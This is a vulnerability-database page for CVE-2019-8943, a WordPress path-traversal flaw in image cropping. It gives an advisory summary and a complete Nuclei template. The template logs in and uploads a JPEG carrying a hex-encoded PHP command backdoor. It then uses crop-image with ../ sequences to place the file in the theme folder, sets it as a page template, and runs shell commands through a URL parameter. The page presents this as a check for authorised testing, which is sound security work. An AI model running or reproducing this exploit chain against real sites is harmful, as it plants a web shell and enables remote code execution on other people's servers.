CVE-2019-8943· wordpress / wordpress· CWE-22
WordPress Core 5.0.0 - Crop-image Shell Upload
mediumseverity
6.5CVSS score
92%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.
Impact
Authenticated attackers with image cropping privileges can write output images to arbitrary directories via path traversal, potentially overwriting critical system files or placing web shells in accessible locations.
Fix
Upgrade to WordPress version 5.0.4 or later.
How to confirm it
Send: GET /wp-login.php
Positive when: contains "WordPress</title>" or "/wp-login.php?action=lostpassword\">Lost your password?</a>" or "<form name=\"loginform\" id=\"loginform\" action=\"{{BaseURL}}/w…"
Send: POST /wp-login.php
Positive when: contains_all(header,"wordpress_logged_in","/wp-admin") and status_code == 302
Send: GET /wp-content/themes/{{theme_name}}/style.css
Positive when: status_code == 200 and len(body) > 0 and content_type == 'text/css'
Send: GET /
Send: GET /wp-admin/media-new.php
Send: POST /wp-admin/async-upload.php
Send: POST /wp-admin/admin-ajax.php
Send: POST /wp-admin/admin-ajax.php
Send: POST /wp-admin/post.php?post={{image_id}}&action=edit
Send: POST /wp-admin/post.php
Positive when: status 302
Send: POST /wp-admin/admin-ajax.php
Send: POST /wp-admin/post.php
Positive when: status 302
Send: POST /wp-admin/admin-ajax.php
Send: POST /wp-admin/post-new.php
Send: POST /wp-admin/post.php
Positive when: status 302
Send: GET {{BaseURL}}/?p={{post_id}}&0=echo+{{base64(string)}}|base64+-d ; GET {{BaseURL}}/?p={{post_id}}&0=type+C:\windows\win.ini ; GET {{BaseURL}}/?p={{post_id}}&0=type+..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
Positive when: contains "{{string}}" or "for 16-bit app support"Run it with nuclei: nuclei -id CVE-2019-8943 -u <target>
The full check
id: CVE-2019-8943
info:
name: WordPress Core 5.0.0 - Crop-image Shell Upload
author: sttlr
severity: medium
description: |
WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.
impact: |
Authenticated attackers with image cropping privileges can write output images to arbitrary directories via path traversal, potentially overwriting critical system files or placing web shells in accessible locations.
remediation: |
Upgrade to WordPress version 5.0.4 or later.
reference:
- https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
- http://packetstormsecurity.com/files/152396/WordPress-5.0.0-crop-image-Shell-Upload.html
- http://packetstormsecurity.com/files/161213/WordPress-5.0.0-Remote-Code-Execution.html
- http://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
- https://tryhackme.com/r/room/blog
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
cvss-score: 6.5
cve-id: CVE-2019-8943
cwe-id: CWE-22
epss-score: 0.91985
epss-percentile: 0.99821
cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: wordpress
product: wordpress
shodan-query:
- http.component:"wordpress"
- cpe:"cpe:2.3:a:wordpress:wordpress"
fofa-query: body="oembed" && body="wp-"
tags: cve,cve2019,wordpress,rce,intrusive,authenticated,packetstorm,wp-theme,vuln
variables:
image_filename: "{{rand_text_alpha(10)}}"
string: "{{to_lower(rand_text_alpha(5))}}"
flow: http(1) && http(2) && (http(3) || http(4)) && http(5) && http(6) && http(7) && http(8) && http(9) && http(10) && http(11) && http(12) && http(13) && http(14) && http(15) && http(16)
http:
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
words:
- "WordPress</title>"
- '/wp-login.php?action=lostpassword">Lost your password?</a>'
- '<form name="loginform" id="loginform" action="{{BaseURL}}/wp-login.php" method="post">'
condition: or
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Login
matchers:
- type: dsl
dsl:
- 'contains_all(header,"wordpress_logged_in","/wp-admin")'
- 'status_code == 302'
condition: and
internal: true
- raw:
- |
GET /wp-content/themes/{{theme_name}}/style.css HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "len(body) > 0"
- "content_type == 'text/css'"
condition: and
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: theme_name
group: 1
regex:
- "/wp-content/themes/([^/]+)/"
internal: true
- raw:
- |
GET /wp-admin/media-new.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: xpath
name: wpnonce
attribute: value
xpath:
- "//input[@id='_wpnonce'][1]"
internal: true
- raw:
- |
POST /wp-admin/async-upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=rexvfybxrhgfrfrjv
--rexvfybxrhgfrfrjv
Content-Disposition: form-data; name="name"
{{image_filename}}.jpg
--rexvfybxrhgfrfrjv
Content-Disposition: form-data; name="action"
upload-attachment
--rexvfybxrhgfrfrjv
Content-Disposition: form-data; name="_wpnonce"
{{wpnonce}}
--rexvfybxrhgfrfrjv
Content-Disposition: form-data; name="async-upload"; filename="{{image_filename}}.jpg"
Content-Type: image/jpeg
{{hex_decode("ffd8ffe000104a46494600010101006000600000ffed003850686f746f73686f7020332e30003842494d040400000000001c1c027400103c3f3d60245f4745545b305d603b3f3e1c020000020004fffe003b43524541544f523a2067642d6a7065672076312e3020287573696e6720494a47204a50454720763830292c207175616c697479203d2038320affdb0043000604040504040605050506060607090e0909080809120d0d0a0e1512161615121414171a211c17181f1914141d271d1f2223252525161c292c28242b21242524ffdb00430106060609080911090911241814182424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424ffc000110800c0010603012200021101031101ffc4001f0000010501010101010100000000000000000102030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f0100030101010101010101010000000000000102030405060708090a0bffc400b51100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9faffda000c03010002110311003f003c3f3d60245f4745545b305d603b3f3e")}}
--rexvfybxrhgfrfrjv--
extractors:
- type: json
part: body
name: image_id
json:
- ".data.id"
internal: true
- type: json
part: body
name: update_nonce
json:
- ".data.nonces.update"
internal: true
- type: json
part: body
name: filename
json:
- ".data.filename"
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=query-attachments&post_id=0&query%5bitem%5d=43&query%5borderby%5d=date&query%5border%5d=DESC&query%5bposts_per_page%5d=40&query%5bpaged%5d=1
extractors:
- type: json
part: body
name: ajax_nonce
json:
- ".data[0].nonces.edit"
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=image-editor&_ajax_nonce={{ajax_nonce}}&postid={{image_id}}&history=%5b%7b%22c%22%3a%7b%22x%22%3a0%2c%22y%22%3a0%2c%22w%22%3a400%2c%22h%22%3a300%7d%7d%5d&target=all&context=&do=save
extractors:
- type: regex
name: image_filename
part: body
group: 1
regex:
- '\/([^\/]+-e\d+)-'
internal: true
- raw:
- |
POST /wp-admin/post.php?post={{image_id}}&action=edit HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
extractors:
- type: xpath
name: wpnonce2
attribute: value
xpath:
- "//input[@id='_wpnonce'][1]"
internal: true
- raw:
- |
POST /wp-admin/post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{wpnonce2}}&action=editpost&post_ID={{image_id}}&meta_input%5b_wp_attached_file%5d={{date_time('%Y/%M')}}/{{image_filename}}.jpg%3f/x
matchers:
- type: status
status:
- 302
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=crop-image&_ajax_nonce={{ajax_nonce}}&id={{image_id}}&cropDetails%5bx1%5d=0&cropDetails%5by1%5d=0&cropDetails%5bwidth%5d=400&cropDetails%5bheight%5d=300&cropDetails%5bdst_width%5d=400&cropDetails%5bdst_height%5d=300
extractors:
- type: json
part: body
json:
- ".data.filename"
internal: true
- raw:
- |
POST /wp-admin/post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{wpnonce2}}&action=editpost&post_ID={{image_id}}&meta_input%5b_wp_attached_file%5d={{date_time('%Y/%M')}}/{{image_filename}}.jpg%3f/../../../../themes/{{theme_name}}/{{randstr}}
matchers:
- type: status
status:
- 302
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=crop-image&_ajax_nonce={{ajax_nonce}}&id={{image_id}}&cropDetails%5bx1%5d=0&cropDetails%5by1%5d=0&cropDetails%5bwidth%5d=400&cropDetails%5bheight%5d=300&cropDetails%5bdst_width%5d=400&cropDetails%5bdst_height%5d=300
extractors:
- type: json
part: body
name: cropped_image_filename
json:
- ".data.filename"
internal: true
- raw:
- |
POST /wp-admin/post-new.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
extractors:
- type: xpath
name: wpnonce3
attribute: value
xpath:
- "//input[@id='_wpnonce'][1]"
internal: true
- type: regex
name: post_id
part: body
group: 1
regex:
- '"post":{"id":(\w+),'
internal: true
- raw:
- |
POST /wp-admin/post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{wpnonce3}}&action=editpost&post_ID={{post_id}}&post_title={{rand_text_alpha(10)}}&post_name={{rand_text_alpha(10)}}&meta_input%5b_wp_page_template%5d=cropped-{{randstr}}.jpg
matchers:
- type: status
status:
- 302
internal: true
- method: GET
path:
- "{{BaseURL}}/?p={{post_id}}&0=echo+{{base64(string)}}|base64+-d"
- "{{BaseURL}}/?p={{post_id}}&0=type+C:\\windows\\win.ini"
- "{{BaseURL}}/?p={{post_id}}&0=type+..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini"
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "{{string}}"
- "for 16-bit app support"
condition: orReferences
- https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
- http://packetstormsecurity.com/files/152396/WordPress-5.0.0-crop-image-Shell-Upload.html
- http://packetstormsecurity.com/files/161213/WordPress-5.0.0-Remote-Code-Execution.html
- http://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
- https://tryhackme.com/r/room/blog
Use this check only on systems you are authorised to test. Where the data comes from